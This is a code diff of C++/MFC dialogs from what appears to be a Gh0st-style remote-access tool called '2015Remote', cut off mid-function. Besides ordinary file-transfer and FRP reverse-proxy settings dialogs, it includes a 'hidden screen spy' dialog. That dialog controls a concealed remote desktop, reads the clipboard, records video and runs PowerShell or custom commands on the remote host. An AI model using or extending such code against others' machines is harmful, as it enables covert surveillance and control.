static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CFileTransferModeDlg dialog
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=NULL*/)
: CDialogLang(CFileTransferModeDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CFileTransferModeDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
}
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CFileTransferModeDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
//{{AFX_MSG_MAP(CFileTransferModeDlg)
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_CANCEL, OnEndDialog)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CFileTransferModeDlg message handlers
void CFileTransferModeDlg::OnEndDialog(UINT id)
{
// TODO: Add your control notification handler code here
EndDialog(id);
}
BOOL CFileTransferModeDlg::OnInitDialog()
{
__super::OnInitDialog();
// 设置对话框标题和控件文本(解决英语系统乱码问题)
SetWindowText(_TR("确认文件替换"));
SetDlgItemText(IDC_OVERWRITE, _TR("覆盖"));
SetDlgItemText(IDC_OVERWRITE_ALL, _TR("全部覆盖"));
SetDlgItemText(IDC_ADDITION, _TR("继传"));
SetDlgItemText(IDC_ADDITION_ALL, _TR("全部继传"));
SetDlgItemText(IDC_JUMP, _TR("跳过"));
SetDlgItemText(IDC_JUMP_ALL, _TR("全部跳过"));
SetDlgItemText(IDC_CANCEL, _TR("取消"));
// TODO: Add extra initialization here
CString str;
str.FormatL("此文件夹已包含一个名为“%s”的文件", m_strFileName);
for (int i = 0; i < str.GetLength(); i += 120) {
str.Insert(i, "\n");
i += 1;
}
SetDlgItemText(IDC_TIPS, str);
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}

View File

@@ -0,0 +1,49 @@
#if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_)
#define AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// FileTransferModeDlg.h : header file
//
#include "LangManager.h"
/////////////////////////////////////////////////////////////////////////////
// CFileTransferModeDlg dialog
class CFileTransferModeDlg : public CDialogLang
{
// Construction
public:
CString m_strFileName;
CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CFileTransferModeDlg)
enum { IDD = IDD_TRANSFERMODE_DLG };
// NOTE: the ClassWizard will add data members here
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CFileTransferModeDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(CFileTransferModeDlg)
afx_msg void OnEndDialog(UINT id);
virtual BOOL OnInitDialog();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_)

View File

@@ -0,0 +1,380 @@
#include "stdafx.h"
#include "FrpsForSubDlg.h"
#include "context.h"
#include "CPasswordDlg.h"
#include "2015Remote.h"
#include "2015RemoteDlg.h"
#include "resource.h"
// 获取 FRP 端口分配文件路径(与 licenses.ini 同目录)
std::string CFrpsForSubDlg::GetFrpPortsPath()
{
std::string dbPath = GetDbPath();
size_t pos = dbPath.find_last_of("\\/");
if (pos != std::string::npos) {
return dbPath.substr(0, pos + 1) + "frp_ports.ini";
}
return "frp_ports.ini";
}
CFrpsForSubDlg::CFrpsForSubDlg(CWnd* pParent)
: CDialogLangEx(IDD_DIALOG_FRPS_FOR_SUB, pParent)
, m_bShowToken(false)
{
}
CFrpsForSubDlg::~CFrpsForSubDlg()
{
}
void CFrpsForSubDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_CHECK_FRPS_ENABLED, m_checkEnabled);
DDX_Control(pDX, IDC_CHECK_FRPS_LOCAL, m_checkLocalFrps);
DDX_Control(pDX, IDC_EDIT_FRPS_SERVER, m_editServer);
DDX_Control(pDX, IDC_EDIT_FRPS_PORT, m_editPort);
DDX_Control(pDX, IDC_EDIT_FRPS_TOKEN, m_editToken);
DDX_Control(pDX, IDC_BTN_SHOW_TOKEN, m_btnShowToken);
DDX_Control(pDX, IDC_EDIT_PORT_START, m_editPortStart);
DDX_Control(pDX, IDC_EDIT_PORT_END, m_editPortEnd);
DDX_Control(pDX, IDC_RADIO_FRP_OFFICIAL, m_radioOfficial);
DDX_Control(pDX, IDC_RADIO_FRP_CUSTOM, m_radioCustom);
}
BEGIN_MESSAGE_MAP(CFrpsForSubDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_CHECK_FRPS_ENABLED, &CFrpsForSubDlg::OnBnClickedCheckFrpsEnabled)
ON_BN_CLICKED(IDC_CHECK_FRPS_LOCAL, &CFrpsForSubDlg::OnBnClickedCheckFrpsLocal)
ON_BN_CLICKED(IDC_BTN_SHOW_TOKEN, &CFrpsForSubDlg::OnBnClickedBtnShowToken)
END_MESSAGE_MAP()
BOOL CFrpsForSubDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
// 设置翻译文本
SetWindowText(_TR("下级 FRP 代理设置"));
SetDlgItemText(IDC_CHECK_FRPS_ENABLED, _TR("启用为下级提供 FRP 代理"));
SetDlgItemText(IDC_CHECK_FRPS_LOCAL, _TR("FRPS 运行在本机"));
SetDlgItemText(IDC_GROUP_FRPS_SERVER, _TR("FRPS 服务器配置"));
#ifdef _WIN64
// 64 位程序启用本地 FRPS 选项
m_checkLocalFrps.EnableWindow(TRUE);
#else
// 32 位程序禁用本地 FRPS 选项frps.dll 仅支持 64 位)
m_checkLocalFrps.EnableWindow(FALSE);
m_checkLocalFrps.SetCheck(BST_UNCHECKED);
#endif
SetDlgItemText(IDC_STATIC_FRP_AUTHMODE, _TR("认证模式:"));
SetDlgItemText(IDC_RADIO_FRP_OFFICIAL, _TR("官方 FRP"));
SetDlgItemText(IDC_RADIO_FRP_CUSTOM, _TR("自定义 FRP"));
SetDlgItemText(IDC_STATIC_FRPS_SERVER, _TR("服务器地址:"));
SetDlgItemText(IDC_STATIC_FRPS_PORT, _TR("服务器端口:"));
SetDlgItemText(IDC_STATIC_FRPS_TOKEN, _TR("认证Token:"));
SetDlgItemText(IDC_GROUP_PORT_RANGE, _TR("端口分配范围(可选)"));
SetDlgItemText(IDC_STATIC_PORT_START, _TR("起始端口:"));
SetDlgItemText(IDC_STATIC_PORT_END, _TR("结束端口:"));
SetDlgItemText(IDC_STATIC_FRPS_TIP, _TR("提示: 配置的 FRPS 服务器将用于为下级提供反向代理服务"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
// 设置 Token 显示/隐藏按钮文字
m_btnShowToken.SetWindowText(_T("*"));
LoadSettings();
UpdateControlStates();
return TRUE;
}
void CFrpsForSubDlg::LoadSettings()
{
m_config = GetFrpsConfig();
m_checkEnabled.SetCheck(m_config.enabled ? BST_CHECKED : BST_UNCHECKED);
#ifdef _WIN64
m_checkLocalFrps.SetCheck(m_config.localFrps ? BST_CHECKED : BST_UNCHECKED);
#else
m_checkLocalFrps.SetCheck(BST_UNCHECKED);
#endif
m_editServer.SetWindowText(CString(m_config.server.c_str()));
CString portStr;
portStr.Format(_T("%d"), m_config.port);
m_editPort.SetWindowText(portStr);
m_editToken.SetWindowText(CString(m_config.token.c_str()));
CString portStartStr, portEndStr;
portStartStr.Format(_T("%d"), m_config.portStart);
portEndStr.Format(_T("%d"), m_config.portEnd);
m_editPortStart.SetWindowText(portStartStr);
m_editPortEnd.SetWindowText(portEndStr);
// 设置认证模式单选按钮
m_radioOfficial.SetCheck(m_config.authMode == FRP_AUTH_TOKEN ? BST_CHECKED : BST_UNCHECKED);
m_radioCustom.SetCheck(m_config.authMode == FRP_AUTH_PRIVILEGE_KEY ? BST_CHECKED : BST_UNCHECKED);
}
void CFrpsForSubDlg::SaveSettings()
{
CString str;
m_config.enabled = (m_checkEnabled.GetCheck() == BST_CHECKED);
#ifdef _WIN64
m_config.localFrps = (m_checkLocalFrps.GetCheck() == BST_CHECKED);
#else
m_config.localFrps = false;
#endif
m_editServer.GetWindowText(str);
m_config.server = CT2A(str, CP_UTF8);
m_editPort.GetWindowText(str);
m_config.port = _ttoi(str);
m_editToken.GetWindowText(str);
m_config.token = CT2A(str, CP_UTF8);
m_editPortStart.GetWindowText(str);
m_config.portStart = _ttoi(str);
m_editPortEnd.GetWindowText(str);
m_config.portEnd = _ttoi(str);
// 获取认证模式
m_config.authMode = (m_radioOfficial.GetCheck() == BST_CHECKED) ? FRP_AUTH_TOKEN : FRP_AUTH_PRIVILEGE_KEY;
// 保存到 INI 文件
THIS_CFG.SetInt("frps_for_sub", "enabled", m_config.enabled ? 1 : 0);
THIS_CFG.SetInt("frps_for_sub", "local_frps", m_config.localFrps ? 1 : 0);
THIS_CFG.SetStr("frps_for_sub", "server", m_config.server.c_str());
THIS_CFG.SetInt("frps_for_sub", "port", m_config.port);
THIS_CFG.SetStr("frps_for_sub", "token", m_config.token.c_str());
THIS_CFG.SetInt("frps_for_sub", "port_start", m_config.portStart);
THIS_CFG.SetInt("frps_for_sub", "port_end", m_config.portEnd);
THIS_CFG.SetInt("frps_for_sub", "auth_mode", m_config.authMode);
}
void CFrpsForSubDlg::UpdateControlStates()
{
BOOL enabled = (m_checkEnabled.GetCheck() == BST_CHECKED);
BOOL localFrps = (m_checkLocalFrps.GetCheck() == BST_CHECKED);
#ifdef _WIN64
m_checkLocalFrps.EnableWindow(enabled);
#else
m_checkLocalFrps.EnableWindow(FALSE);
#endif
// 如果启用本地 FRPS服务器地址自动设为 127.0.0.1 且禁用编辑
BOOL serverEditable = enabled && !localFrps;
m_editServer.EnableWindow(serverEditable);
if (localFrps && enabled) {
m_editServer.SetWindowText(_T("127.0.0.1"));
}
m_editPort.EnableWindow(enabled);
m_editToken.EnableWindow(enabled);
m_btnShowToken.EnableWindow(enabled);
m_editPortStart.EnableWindow(enabled);
m_editPortEnd.EnableWindow(enabled);
m_radioOfficial.EnableWindow(enabled);
m_radioCustom.EnableWindow(enabled);
// 更新分组框状态(视觉效果)
GetDlgItem(IDC_GROUP_FRPS_SERVER)->EnableWindow(enabled);
GetDlgItem(IDC_GROUP_PORT_RANGE)->EnableWindow(enabled);
GetDlgItem(IDC_STATIC_FRP_AUTHMODE)->EnableWindow(enabled);
GetDlgItem(IDC_STATIC_FRPS_SERVER)->EnableWindow(serverEditable);
GetDlgItem(IDC_STATIC_FRPS_PORT)->EnableWindow(enabled);
GetDlgItem(IDC_STATIC_FRPS_TOKEN)->EnableWindow(enabled);
GetDlgItem(IDC_STATIC_PORT_START)->EnableWindow(enabled);
GetDlgItem(IDC_STATIC_PORT_END)->EnableWindow(enabled);
}
bool CFrpsForSubDlg::ValidateInput()
{
if (m_checkEnabled.GetCheck() != BST_CHECKED) {
return true; // 未启用,无需验证
}
CString str;
// 验证服务器地址
m_editServer.GetWindowText(str);
if (str.IsEmpty()) {
MessageBox(_TR("请输入服务器地址"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
m_editServer.SetFocus();
return false;
}
// 验证端口
m_editPort.GetWindowText(str);
int port = _ttoi(str);
if (port <= 0 || port > 65535) {
MessageBox(_TR("服务器端口无效1-65535"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
m_editPort.SetFocus();
return false;
}
// 验证 Token
m_editToken.GetWindowText(str);
if (str.IsEmpty()) {
MessageBox(_TR("请输入认证 Token"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
m_editToken.SetFocus();
return false;
}
// 验证端口范围(可选,但如果填了就需要验证)
m_editPortStart.GetWindowText(str);
int portStart = _ttoi(str);
m_editPortEnd.GetWindowText(str);
int portEnd = _ttoi(str);
if (portStart > 0 || portEnd > 0) {
if (portStart <= 0 || portStart > 65535) {
MessageBox(_TR("起始端口无效1-65535"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
m_editPortStart.SetFocus();
return false;
}
if (portEnd <= 0 || portEnd > 65535) {
MessageBox(_TR("结束端口无效1-65535"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
m_editPortEnd.SetFocus();
return false;
}
if (portStart >= portEnd) {
MessageBox(_TR("起始端口必须小于结束端口"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
m_editPortStart.SetFocus();
return false;
}
}
return true;
}
void CFrpsForSubDlg::OnOK()
{
if (!ValidateInput()) {
return;
}
SaveSettings();
CDialogLangEx::OnOK();
}
void CFrpsForSubDlg::OnBnClickedCheckFrpsEnabled()
{
UpdateControlStates();
}
void CFrpsForSubDlg::OnBnClickedCheckFrpsLocal()
{
UpdateControlStates();
}
void CFrpsForSubDlg::OnBnClickedBtnShowToken()
{
m_bShowToken = !m_bShowToken;
// 切换密码显示模式
CString currentText;
m_editToken.GetWindowText(currentText);
// 获取控件位置
CRect rect;
m_editToken.GetWindowRect(&rect);
ScreenToClient(&rect);
// 销毁旧控件,创建新控件
m_editToken.DestroyWindow();
DWORD style = WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_BORDER | ES_AUTOHSCROLL;
if (!m_bShowToken) {
style |= ES_PASSWORD;
}
m_editToken.CreateEx(WS_EX_CLIENTEDGE, _T("EDIT"), currentText, style, rect, this, IDC_EDIT_FRPS_TOKEN);
m_editToken.SetFont(GetFont());
// 更新按钮文字(显示时用眼睛图标,隐藏时用星号)
m_btnShowToken.SetWindowText(m_bShowToken ? _T("") : _T("*"));
}
// 静态方法:获取 FRPS 配置
FrpsConfig CFrpsForSubDlg::GetFrpsConfig()
{
FrpsConfig config;
config.enabled = THIS_CFG.GetInt("frps_for_sub", "enabled", 0) != 0;
config.localFrps = THIS_CFG.GetInt("frps_for_sub", "local_frps", 0) != 0;
config.server = THIS_CFG.GetStr("frps_for_sub", "server", "");
config.port = THIS_CFG.GetInt("frps_for_sub", "port", 7000);
config.token = THIS_CFG.GetStr("frps_for_sub", "token", "");
config.portStart = THIS_CFG.GetInt("frps_for_sub", "port_start", 20000);
config.portEnd = THIS_CFG.GetInt("frps_for_sub", "port_end", 29999);
config.authMode = (FrpAuthMode)THIS_CFG.GetInt("frps_for_sub", "auth_mode", FRP_AUTH_PRIVILEGE_KEY);
return config;
}
// 静态方法:检查 FRPS 是否已配置且启用
bool CFrpsForSubDlg::IsFrpsConfigured()
{
FrpsConfig config = GetFrpsConfig();
return config.enabled && !config.server.empty() && !config.token.empty() && config.port > 0;
}
// 静态方法:查找下一个可用端口(不保存)
int CFrpsForSubDlg::FindNextAvailablePort()
{
FrpsConfig frpsCfg = GetFrpsConfig();
int portStart = frpsCfg.portStart > 0 ? frpsCfg.portStart : 20000;
int portEnd = frpsCfg.portEnd > 0 ? frpsCfg.portEnd : 29999;
// 使用 config 类访问 frp_ports.ini
::config portsCfg(GetFrpPortsPath());
// 查找下一个可用端口
for (int port = portStart; port <= portEnd; port++) {
char portStr[16];
sprintf_s(portStr, "%d", port);
std::string owner = portsCfg.GetStr("ports", portStr, "");
if (owner.empty()) {
return port; // 找到可用端口,不保存
}
}
return -1; // 没有可用端口
}
// 静态方法:记录端口分配(保存到配置文件)
void CFrpsForSubDlg::RecordPortAllocation(int port, const std::string& serialNumber)
{
if (port <= 0 || serialNumber.empty()) {
return;
}
::config portsCfg(GetFrpPortsPath());
char portStr[16];
sprintf_s(portStr, "%d", port);
portsCfg.SetStr("ports", portStr, serialNumber);
}
// 静态方法:检查端口是否已分配
bool CFrpsForSubDlg::IsPortAllocated(int port)
{
::config portsCfg(GetFrpPortsPath());
char portStr[16];
sprintf_s(portStr, "%d", port);
return !portsCfg.GetStr("ports", portStr, "").empty();
}
// 静态方法:获取端口对应的序列号
std::string CFrpsForSubDlg::GetPortOwner(int port)
{
::config portsCfg(GetFrpPortsPath());
char portStr[16];
sprintf_s(portStr, "%d", port);
return portsCfg.GetStr("ports", portStr, "");
}

View File

@@ -0,0 +1,83 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
// FRP 认证模式
enum FrpAuthMode {
FRP_AUTH_TOKEN = 0, // 官方 FRP: 直接使用 token
FRP_AUTH_PRIVILEGE_KEY = 1 // 自定义 FRP: 使用 privilegeKey = MD5(token + timestamp)
};
// FRPS 配置结构体
struct FrpsConfig {
bool enabled;
bool localFrps; // FRPS 运行在本机
std::string server;
int port;
std::string token;
int portStart;
int portEnd;
FrpAuthMode authMode; // 认证模式
FrpsConfig() : enabled(false), localFrps(false), port(7000), portStart(20000), portEnd(29999), authMode(FRP_AUTH_PRIVILEGE_KEY) {}
};
// 下级 FRP 代理设置对话框
class CFrpsForSubDlg : public CDialogLangEx
{
public:
CFrpsForSubDlg(CWnd* pParent = nullptr);
virtual ~CFrpsForSubDlg();
enum { IDD = IDD_DIALOG_FRPS_FOR_SUB };
// 获取当前配置
static FrpsConfig GetFrpsConfig();
// 检查 FRPS 是否已配置且启用
static bool IsFrpsConfigured();
// 查找下一个可用端口(不保存)
static int FindNextAvailablePort();
// 记录端口分配(保存到配置文件)
static void RecordPortAllocation(int port, const std::string& serialNumber);
// 检查端口是否已分配
static bool IsPortAllocated(int port);
// 获取端口对应的序列号
static std::string GetPortOwner(int port);
// 获取 FRP 端口分配文件路径
static std::string GetFrpPortsPath();
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
virtual void OnOK();
DECLARE_MESSAGE_MAP()
afx_msg void OnBnClickedCheckFrpsEnabled();
afx_msg void OnBnClickedCheckFrpsLocal();
afx_msg void OnBnClickedBtnShowToken();
private:
void LoadSettings();
void SaveSettings();
void UpdateControlStates();
bool ValidateInput();
private:
// 控件变量
CButton m_checkEnabled;
CButton m_checkLocalFrps;
CEdit m_editServer;
CEdit m_editPort;
CEdit m_editToken;
CButton m_btnShowToken;
CEdit m_editPortStart;
CEdit m_editPortEnd;
CButton m_radioOfficial;
CButton m_radioCustom;
// 数据变量
FrpsConfig m_config;
bool m_bShowToken;
};

View File

@@ -0,0 +1,939 @@
// ScreenSpyDlg.cpp : implementation file
//
#include "stdafx.h"
#include "2015Remote.h"
#include "InputDlg.h"
#include "CTextDlg.h"
#include "HideScreenSpyDlg.h"
#include <windows.h>
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
#define TIMER_ID 132
/////////////////////////////////////////////////////////////////////////////
// CHideScreenSpyDlg dialog
enum {
IDM_SET_FLUSH = 0x0010,
IDM_CONTROL,
IDM_SAVEDIB, // 保存图片
IDM_SAVEAVI_S, // 保存录像
IDM_GET_CLIPBOARD, // 获取剪贴板
IDM_SET_CLIPBOARD, // 设置剪贴板
IDM_SETSCERRN, // 修改分辨率
IDM_QUALITY60, // 清晰度低
IDM_QUALITY85, // 清晰度中
IDM_QUALITY100, // 清晰度高
IDM_FPS_1,
IDM_FPS_5,
IDM_FPS_10,
IDM_FPS_15,
IDM_FPS_20,
IDM_FPS_25,
IDM_FPS_30,
IDM_SAVEAVI_H264 = 996,
};
IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
bool DirectoryExists(const char* path);
std::string GetScreenShotPath(CWnd* parent, const CString& ip, const CString& filter, const CString& suffix);
CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CHideScreenSpyDlg::IDD, pParent, pIOCPServer, pContext, IDI_SCREENSYP)
{
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
m_BitmapData_Full = NULL;
m_lpvRectBits = NULL;
UINT nBISize = m_ContextObject->GetBufferLength() - 1;
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO*) new BYTE[nBISize];
memcpy(m_BitmapInfor_Full, m_ContextObject->GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_ContextObject->GetBuffer(1), nBISize);
m_bIsCtrl = true;
m_bIsClosed = FALSE;
m_ClientCursorPos = {};
m_bCursorIndex = -1;
}
CHideScreenSpyDlg::~CHideScreenSpyDlg()
{
m_bIsClosed = TRUE;
m_ContextObject->GetServer()->Disconnect(m_ContextObject);
DestroyIcon(m_hIcon);
Sleep(200);
::ReleaseDC(m_hWnd, m_hFullDC);
DeleteDC(m_hFullMemDC);
DeleteObject(m_BitmapHandle);
SAFE_DELETE_ARRAY(m_lpvRectBits);
SAFE_DELETE_ARRAY(m_BitmapInfor_Full);
SAFE_DELETE_ARRAY(m_lpbmi_rect);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
m_bIsCtrl = false;
}
void CHideScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CHideScreenSpyDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_SIZE()
ON_WM_PAINT()
ON_WM_TIMER()
ON_WM_CLOSE()
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CHideScreenSpyDlg message handlers
void CHideScreenSpyDlg::OnClose()
{
if (!m_aviFile.IsEmpty()) {
KillTimer(TIMER_ID);
m_aviFile = "";
m_aviStream.Close();
}
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
// 恢复鼠标状态
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
CDialogBase::OnClose();
}
void CHideScreenSpyDlg::OnReceiveComplete()
{
if (m_bIsClosed) return;
switch (m_ContextObject->GetBuffer(0)[0]) {
case TOKEN_FIRSTSCREEN: {
m_bIsFirst = false;
DrawFirstScreen(m_ContextObject->GetBuffer(1), m_ContextObject->GetBufferLength()-1);
}
break;
case TOKEN_NEXTSCREEN: {
DrawNextScreenDiff(m_ContextObject->GetBuffer(0), m_ContextObject->GetBufferLength());
break;
}
case TOKEN_BITMAPINFO_HIDE:
ResetScreen();
break;
case TOKEN_CLIPBOARD_TEXT:
UpdateServerClipboard((char*)m_ContextObject->GetBuffer(1), m_ContextObject->GetBufferLength() - 1);
break;
case TOKEN_SCREEN_SIZE:
memcpy(&m_rect, m_ContextObject->GetBuffer(0) + 1, sizeof(RECT));
return;
default:
Mprintf("Unknown command: %d\n", (int)m_ContextObject->GetBuffer(0)[0]);
return;
}
}
bool CHideScreenSpyDlg::SaveSnapshot()
{
auto path = GetScreenShotPath(this, m_IPAddress, "位图文件(*.bmp)|*.bmp|", "bmp");
if (path.empty())
return FALSE;
WriteBitmap(m_BitmapInfor_Full, m_BitmapData_Full, path.c_str());
return true;
}
BOOL CHideScreenSpyDlg::OnInitDialog()
{
__super::OnInitDialog();
CString strString;
strString.FormatL("%s - 远程虚拟屏幕 %d×%d", m_IPAddress,
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
SetWindowText(strString);
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
pSysMenu->AppendMenuL(MF_STRING, IDM_SET_FLUSH, _T("刷新(&F)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_CONTROL, _T("控制屏幕(&Y)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_SAVEDIB, _T("保存快照(&S)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_SAVEAVI_S, _T("录像(MJPEG)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_SAVEAVI_H264, _T("录像(H264)"));
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
pSysMenu->AppendMenuL(MF_STRING, IDM_GET_CLIPBOARD, _T("获取剪贴板(&R)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_SET_CLIPBOARD, _T("设置剪贴板(&L)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_SETSCERRN, _T("修复分辨率(&G)"));
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
pSysMenu->AppendMenuL(MF_STRING, IDM_QUALITY60, _T("清晰度低60/100"));
pSysMenu->AppendMenuL(MF_STRING, IDM_QUALITY85, _T("清晰度中85/100"));
pSysMenu->AppendMenuL(MF_STRING, IDM_QUALITY100, _T("清晰度高100/100"));
pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
/*
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_1, _T("FPS-1"));
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_5, _T("FPS-5"));
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_10, _T("FPS-10"));
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_15, _T("FPS-15"));
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_20, _T("FPS-20"));
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_25, _T("FPS-25"));
pSysMenu->AppendMenuL(MF_STRING, IDM_FPS_30, _T("FPS-30"));
pSysMenu->AppendMenuL(MF_SEPARATOR);
*/
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Explorer, _T("打开-文件管理(&B)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_run, _T("打开-运行(&H)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Powershell, _T("打开-Powershell(&N)"));
/*
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Chrome, _T("打开-Chrome(&I)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Edge, _T("打开-Edge(&M)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Brave, _T("打开-Brave(&D)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Firefox, _T("打开-Firefox(&V)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_Iexplore, _T("打开-Iexplore(&Z)"));
*/
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_zdy, _T("自定义CMD命令(&y)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_zdy2, _T("高级自定义命令(&O)"));
pSysMenu->AppendMenuL(MF_STRING, IDM_OPEN_close, _T("清理后台(&J)"));
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND);
}
// TODO: Add extra initialization here
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
ICONINFO CursorInfo;
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor);
if (CursorInfo.hbmMask != NULL)
::DeleteObject(CursorInfo.hbmMask);
if (CursorInfo.hbmColor != NULL)
::DeleteObject(CursorInfo.hbmColor);
// 初始化窗口大小结构
m_hFullDC = ::GetDC(m_hWnd);
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
m_lpvRectBits = new BYTE[m_lpbmi_rect->bmiHeader.biSizeImage];
SelectObject(m_hFullMemDC, m_BitmapHandle);
SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE);
SetStretchBltMode(m_hFullMemDC, STRETCH_HALFTONE);
GetClientRect(&m_CRect);
ScreenToClient(m_CRect);
m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.right - m_CRect.left));
m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.bottom - m_CRect.top));
SetStretchBltMode(m_hFullDC, STRETCH_HALFTONE);
BYTE bBuff = COMMAND_NEXT;
m_ContextObject->Send2Client(&bBuff, 1);
#ifdef _DEBUG
// ShowWindow(SW_MINIMIZE);
#endif
m_strTip = CString("请等待......");
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CHideScreenSpyDlg::ResetScreen()
{
UINT nBISize = m_ContextObject->GetBufferLength() - 1;
if (m_BitmapInfor_Full != NULL) {
SAFE_DELETE_ARRAY(m_BitmapInfor_Full);
SAFE_DELETE_ARRAY(m_lpbmi_rect);
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO*) new BYTE[nBISize];
memcpy(m_BitmapInfor_Full, m_ContextObject->GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_ContextObject->GetBuffer(1), nBISize);
DeleteObject(m_BitmapHandle);
m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
if (m_lpvRectBits) {
delete[] m_lpvRectBits;
